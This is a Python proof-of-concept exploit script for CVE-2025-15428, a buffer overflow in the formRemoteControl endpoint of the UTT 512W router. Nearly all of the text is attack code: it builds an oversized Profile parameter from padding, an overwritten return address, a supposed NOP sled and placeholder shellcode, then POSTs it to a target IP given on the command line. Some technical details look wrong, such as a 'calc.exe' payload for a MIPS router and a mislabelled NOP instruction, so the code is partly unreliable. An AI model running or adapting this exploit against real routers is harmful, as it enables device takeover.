CVE-2025-15428 UTT 进取 512W 路由器 formRemoteControl 缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15428 PoC - UTT 进取 512W Buffer Overflow in /goform/formRemoteControl Vulnerable Product: UTT 进取 512W Firmware 1.7.7-171114 CVSS Score: 8.8 (High) """ import requests import sys TARGET = "http://{target_ip}" # Replace with router IP ENDPOINT = "/goform/formRemoteControl" def create_exploit_payload(): """Generate buffer overflow payload for strcpy exploitation""" # Buffer size estimation (adjust based on target) buffer_size = 1024 # Padding to overflow buffer padding = b'A' * buffer_size # Overwrite return address with NOP sled + shellcode address # Using MIPS NOP instruction (0x10000000) nop_sled = b'\x00\x10\x00\x00' * 16 # Placeholder for shellcode (calc.exe or telnet backdoor) shellcode = b'\x00' * 200 # Target return address (needs to be adjusted) ret_addr = b'\x42\x42\x42\x42' payload = padding + ret_addr + nop_sled + shellcode return payload def exploit(target_ip, username, password): """Execute buffer overflow exploit""" url = f"http://{target_ip}{ENDPOINT}" # Authentication (if required) auth = (username, password) if username and password else None # Create malicious Profile parameter payload = create_exploit_payload() # Send exploit request data = { 'Profile': payload.decode('latin-1'), # Send overflow payload 'action': 'apply' # Common action parameter } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(payload)} bytes") response = requests.post(url, data=data, auth=auth, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[*] Exploit sent. Check target for RCE.") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [username] [password]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] if len(sys.argv) > 2 else None pwd = sys.argv[3] if len(sys.argv) > 3 else None exploit(target, user, pwd)